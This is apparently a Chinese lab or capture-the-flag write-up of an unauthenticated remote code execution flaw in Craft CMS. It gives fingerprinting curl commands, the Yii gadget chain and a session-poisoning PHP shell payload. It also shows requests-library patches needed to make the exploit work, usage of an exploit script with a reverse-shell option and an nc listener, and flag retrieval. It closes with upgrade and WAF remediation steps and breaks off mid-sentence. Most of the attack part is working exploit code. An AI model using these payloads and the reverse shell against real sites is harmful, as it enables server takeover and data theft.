严重程度: 严重 (CVSS 10.0) 需要认证: 无 受影响版本: Craft CMS 3.0.0-RC1 - 3.9.14, 4.0.0-RC1 - 4.14.14, 5.0.0-RC1 - 5.6.16 修复版本: Craft CMS 3.9.15 / 4.14.15 / 5.6.17, Yii2 2.0.50
在利用之前,确认目标运行的是存在漏洞的 Craft CMS 版本。
curl -s http://target/cms/index.php | grep -i craft
curl -s http://target/cms/web.config
curl -s http://target/cms/composer.json | python3 -m json.tool | grep craftcms
curl -s -o /dev/null -w "%{http_code}" \
-X POST http://target/cms/actions/assets/generate-transform \
-H "Content-Type: application/json" \
-d '{"assetId":1,"handle":{"width":1,"height":1}}'
python3 exploit.py -u http://target/cms -c "id"
如果输出包含 uid=,则确认目标存在漏洞且 RCE 已实现。
AssetsController::actionGenerateTransform() 被声明为 allowAnonymous,使其无需认证即可访问。它将用户可控的 handle 参数直接传入 Yii::createObject():
protected array|bool|int $allowAnonymous = ['generate-thumb', 'generate-transform'];
public function actionGenerateTransform(): Response
{
$handle = Craft::$app->getRequest()->getBodyParam('handle');
$transform = ImageTransforms::normalizeTransform($handle); // -> Yii::createObject($handle)
}
Yii 的 DI 容器会处理两个特殊的数组键,且没有任何允许列表:
| 键 | 行为 |
|---|---|
__class | 实例化此类,而不是声明的类型 |
__construct() | 将这些值作为构造函数参数传入 |
Gadget 链:
handle[as x][__class] = yii\rbac\PhpManager
handle[as x][__construct()] = [{"itemFile": "/tmp/sess_<CraftSessionId>"}]
|
PhpManager::init() -> load() -> loadFromFile($itemFile) -> require $itemFile
会话文件投毒 完成了整个闭环:PHP 将 GET 参数原样存储在 /tmp/sess_<CraftSessionId> 中。在其中植入 <?=shell_exec($_GET['cmd']);exit;?> 即可实现 RCE。
根本问题: Python requests 在发送前会对 <、>、?、= 进行编码。PHP 的会话处理器存储的是百分号编码后的字节——而不是可执行的 PHP。
GET /index.php?p=admin/dashboard&cve202532432=%3C%3F%3Dshell_exec%28%24_GET%5B%27cmd%27%5D%29%3Bexit%3B%3F%3E HTTP/1.1
# Session file stores:
returnUrl|s:107:"...&cve202532432=%3C%3F%3Dshell_exec%28%24_GET%5B%27cmd%27%5D%29%3Bexit%3B%3F%3E"
# PHP sees a plain string — no PHP tags — nothing executes.
GET /index.php?p=admin/dashboard&cve202532432=<?=shell_exec($_GET['cmd']);exit;?> HTTP/1.1
# Session file stores:
returnUrl|s:107:"...&cve202532432=<?=shell_exec($_GET['cmd']);exit;?>"
# When require()'d, PHP executes shell_exec and returns the output.
修复: Monkey-patch HTTPConnectionPool._make_request——TCP 之前的最后一点——并在那里调用 urllib.parse.unquote():
def _raw_request(self, conn, method, url, **kw):
url = urllib.parse.unquote(url) # restore < > ? = just before socket write
return self._orig_req(conn, method, url, **kw)
urllib3.connectionpool.HTTPConnectionPool._orig_req = urllib3.connectionpool.HTTPConnectionPool._make_request
urllib3.connectionpool.HTTPConnectionPool._make_request = _raw_request
标准: PHP 的默认会话 cookie 是 PHPSESSID。Craft CMS 在其应用配置中覆盖了这一点:
// craft/config/app.php (Craft CMS source)
'session' => [
'class' => craft\web\Session::class,
'cookieName' => 'CraftSessionId', // <-- custom name, NOT PHPSESSID
],
这意味着磁盘上的会话文件是 /tmp/sess_<CraftSessionId>,而不是 /tmp/sess_<PHPSESSID>。
| 属性 | PHP 默认 | Craft CMS |
|---|---|---|
| Cookie 名称 | PHPSESSID | CraftSessionId |
| 会话文件 | /tmp/sess_abc123 | /tmp/sess_abc123 |
| 如何读取 | session.cookies.get("PHPSESSID") | session.cookies.get("CraftSessionId") |
| 如果错误会发生什么 | 返回 None | itemFile 路径指向不存在的文件 |
| 结果 | 利用静默失败 | 无错误——require() 只是失败 |
# BROKEN — reads PHPSESSID, gets None
session_id = session.cookies.get("PHPSESSID")
item_file = f"/tmp/sess_{session_id}" # -> "/tmp/sess_None" — does not exist
# FIXED — reads the actual Craft cookie
session_id = sess.cookies.get("CraftSessionId")
item_file = f"/tmp/sess_{session_id}" # -> "/tmp/sess_u8p2hn4kfgol9nbjkcvnv7ag6u"
你可以通过访问任意 Craft 页面后检查浏览器 DevTools,或检查 Set-Cookie 响应头来验证正确的 cookie 名称:
curl -sI http://target/cms/index.php | grep -i set-cookie
# Set-Cookie: CraftSessionId=u8p2hn4kfgol9nbjkcvnv7ag6u; path=/; HttpOnly
Craft 会对所有非匿名 POST 操作验证 CSRF token。省略 token 会导致 400 Bad Request。
# BROKEN
requests.post(url, json=payload)
# FIXED — extract CRAFT_CSRF_TOKEN from login page HTML, send as header
requests.post(url, json=payload, headers={"X-CSRF-Token": csrf})
| 问题 | 日志投毒 PoC | 会话(错误 cookie) | 会话(无 CSRF) | 本 PoC |
|---|---|---|---|---|
| URL 编码 | 不适用 (User-Agent) | 失效 | 失效 | 已修复 monkey-patched |
| Cookie 名称 | 不适用 | 失效 PHPSESSID | 失效 PHPSESSID | 已修复 CraftSessionId |
| 触发时的 CSRF | 正常 | 正常 | 失效 | 已修复 |
| 陈旧日志 exit; | 失效 | 不适用 | 不适用 | 不适用 |
| 在 /cms 前缀下工作 | 失效 | 失效 | 失效 | 已修复 |
usage: exploit.py [-h] -u URL [-c CMD] [-a ASSET_ID] [-s SCAN_MAX]
[--revshell] [--lhost LHOST] [--lport LPORT]
options:
-u URL Craft CMS base URL including path prefix
-c CMD Shell command to execute
-a ASSET_ID Known valid assetId (skips auto-scan)
-s SCAN_MAX Upper bound for assetId scan (default: 50)
--revshell Send a Python3 reverse shell
--lhost LHOST Listener IP (required with --revshell)
--lport LPORT Listener port (required with --revshell)
python3 exploit.py -u http://target:8088/cms -c "id"
python3 exploit.py -u http://target:8088/cms -c "cat /flag/flag.txt"
# Reverse shell (Python3 — avoids /dev/tcp and bash quoting issues)
nc -lvnp 4444
python3 exploit.py -u http://target:8088/cms --revshell --lhost 10.10.14.1 --lport 4444
| 操作 | 详情 |
|---|---|
| 升级 Craft CMS | 3.9.15 / 4.14.15 / 5.6.17 验证 handle 实现了 ImageTransformerInterface |
| 升级 Yii2 | 2.0.50 阻止了 Component::__set 中的 __class 注入 |
| WAF 规则 | 阻止发往 /actions/assets/generate-transform 的请求体中的 __class 或 __construct() |
| 分支 | 存在漏洞 | 已修复 |
|---|---|---|
| 3.x | 3.0.0-RC1 – 3.9.14 | 3.9.15+ |
| 4.x | 4.0.0-RC1 – 4.14.14 | 4.14.15+ |
| 5.x | 5.0.0-RC1 – 5.6.16 | 5.6.17+ |
cd /var/www/craftapp
grep -rn 'allowAnonymous' vendor/craftcms/cms/src/controllers/AssetsController.php
grep -n 'function actionGenerateTransform' -A 20 vendor/craftcms/cms/src/controllers/AssetsController.php
actionGenerateTransform() 方法被标记为 allowAnonymous——意味着它在认证之前执行。handle 参数被直接传入 Yii::createObject(),没有任何类允许列表,从而启用了 yii\rbac\PhpManager gadget 链。
# 1. Verify the package integrity
cd /opt/vendor-packages
sha256sum -c craftcms-cms-5.6.17.tar.gz.sha256
# 2. Inspect the diff against current install
tar xzf /opt/vendor-packages/craftcms-cms-5.6.17.tar.gz -C /tmp
diff -u vendor/craftcms/cms/src/controllers/AssetsController.php \
/tmp/craftcms-cms-5.6.17/src/controllers/AssetsController.php
# 3. Backup current version (rollback point)
cd /var/www/craftapp
cp -a vendor/craftcms/cms ~/cms-5.6.16.rollback
# 4. Swap in the patched version
rm -rf vendor/craftcms/cms
cp -a /tmp/craftcms-cms-5.6.17 vendor/craftcms/cms
# 5. Run migrations and reload
php craft up --interactive=0
sudo /opt/blue/bin/restart-app
编辑 vendor/craftcms/cms/src/controllers/AssetsController.php,并在 actionGenerateTransform() 内部添加以下防护作为第一条语句: